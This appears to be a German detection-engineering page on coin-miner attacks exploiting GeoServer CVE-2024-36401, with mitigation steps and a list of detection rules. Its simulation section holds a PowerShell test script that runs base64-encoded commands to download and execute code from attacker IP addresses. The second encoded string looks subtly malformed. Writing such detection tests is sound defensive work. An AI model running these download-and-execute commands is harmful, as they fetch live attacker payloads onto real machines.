GeoServer unter Angriff: Malware Coin Miner Kampagnen
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
Bedrohungsakteure nutzen die GeoServer-Schwachstelle für Remote-Code-Ausführung CVE-2024-36401, um Kryptowährungs-Miner und NetCat auf ungepatchten Servern zu installieren. Die Aktivität stützt sich auf PowerShell, Bash und certutil, um XMRig von mehreren bösartigen Domains und IP-Adressen herunterzuladen und zu starten. Mehrere Downloader-Skripte und Dropper werden verwendet, häufig in ZIP-Archiven verpackt und als Dienste über NSSM gespeichert. Das Hauptziel ist es, Rechenressourcen für unbefugtes Mining zu beschlagnahmen.
Untersuchung
Der Bericht skizziert drei Varianten (A, B, C), die kodierte PowerShell, auf Bash basierende Abrufskripte und certutil verwenden, um Miner-Nutzlasten von pool.supportxmr.com und mehreren aaaaaaaaa.cyou-Subdomains abzurufen. Verteilungsmethoden umfassen Batch-Skripte, ZIP-Bundles und einen maßgeschneiderten Downloader namens systemd zusammen mit HTTP-Basic-Authentifizierungsdaten. Analysten extrahierten wichtige Indikatoren—URLs, IP-Adressen und Dateinamen—zur Unterstützung der Erkennung und des Umfangs.
Abschwächung
Wenden Sie GeoServer-Patches an, die CVE-2024-36401 beheben, und halten Sie die Deployments auf der neuesten unterstützten Version. Blockieren Sie ausgehende Verbindungen zu bekannten Mining-Pools und verwandter Infrastruktur und überwachen Sie verdächtige kodierte PowerShell- oder Bash-Ausführungen. Beschränken Sie die Verwendung von certutil für Nicht-Admin-Kontexte und erzwingen Sie Anwendungs-Whitelistings, um unbefugte Dienste, die über NSSM installiert werden, zu verhindern.
Reaktion
Implementieren Sie Erkennungen für die beobachteten Kommandozeilen, Hashes und Netzwerkindikatoren. Isolieren Sie betroffene Hosts, beseitigen Sie Miner-Dienste und Persistenz-Artefakte und führen Sie einen forensischen Sweep auf sekundäre Nutzlasten durch. Drehen Sie exponierte Anmeldeinformationen um und fordern Sie Multi-Faktor-Authentifizierung für den administrativen Zugriff.
Angriffsfluss
Erkennungen
Deaktivieren von Windows Defender-Schutzmaßnahmen (über registry_event)
Ansehen
Verdächtige Änderungen an Windows Defender-Einstellungen (über PowerShell)
Ansehen
Mögliche Persistenzpunkte [ASEPs – Software/NTUSER Hive] (via registry_event)
Ansehen
Schtasks zeigt auf verdächtiges Verzeichnis / Binärdatei / Skript (via cmdline)
Ansehen
Verdächtige Dateien im öffentlichen Benutzerprofil (via file_event)
Ansehen
Download oder Upload über Powershell (via cmdline)
Ansehen
IOCs (SourceIP) zur Erkennung: Malware-Coin-Miner-Angriffe auf GeoServer
Ansehen
IOCs (DestinationIP) zur Erkennung: Malware-Coin-Miner-Angriffe auf GeoServer
Ansehen
IOCs (HashMd5) zur Erkennung: Malware-Coin-Miner-Angriffe auf GeoServer
Ansehen
Erkennen der Nutzung von Certutil für den bösartigen Payload-Download bei Ausnutzung von GeoServer-Schwachstellen [Windows-Prozesserstellung]
Ansehen
Erkennung von kodierten PowerShell-Befehlen, die GeoServer-Schwachstellen angreifen [Windows PowerShell]
Ansehen
Simulationsdurchführung
Voraussetzung: Der Telemetrie- & Basislinien-Pre-Flight-Check muss bestanden sein.
Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der gegnerischen Technik (TTP), die zum Auslösen der Erkennungsregel entwickelt wurde. Die Befehle und die Erzählung MÜSSEN die identifizierten TTPs direkt widerspiegeln und sollen die genaue Telemetrie erzeugen, die von der Erkennungslogik erwartet wird.
-
Angriffserzählung & Befehle:
Ein Angreifer hat eine bösartige Base64-Nutzlast erhalten, die eine anfällige GeoServer-Konfigurationsdatei herunterlädt, ausführt und dann einen Kryptowährungs-Miner ablegt. Um einfache Skriptblock-Erkennung zu vermeiden, verwendet der Angreifer den-encSchalter mit einem vorab kodierten String (eines der zwei bekannten IOCs). Der Angreifer führt die Nutzlast lokal auf einem kompromittierten Windows-Host aus, was einepowershell.exeProzesserstellung verursacht, die den genauen Base64-String enthält, den die Regel überwacht. -
Regressionstestskript:
# ------------------------------------------------- # Regression script to trigger the Sigma rule # ------------------------------------------------- # Payload 1 (matches first IOC) $b64_1 = 'SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMjIwLjg0LjEwNy42OS9qcy9ndy50eHQnKQA=' powershell.exe -enc $b64_1 # Payload 2 (matches second IOC) $b64_2 = 'SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8xMTkuMTk0LjE1My4zMTo4MDgwL2ljb24vanMvd2kudHh0Jyk=' powershell.exe -enc $b64_2 -
Bereinigungsbefehle:
# ------------------------------------------------- # Bereinigung - beenden Sie alle verbliebenen PowerShell-Nutzlasten # ------------------------------------------------- Get-Process -Name powershell -ErrorAction SilentlyContinue | Where-Object { $_.StartInfo.Arguments -match '-enc' } | Stop-Process -Force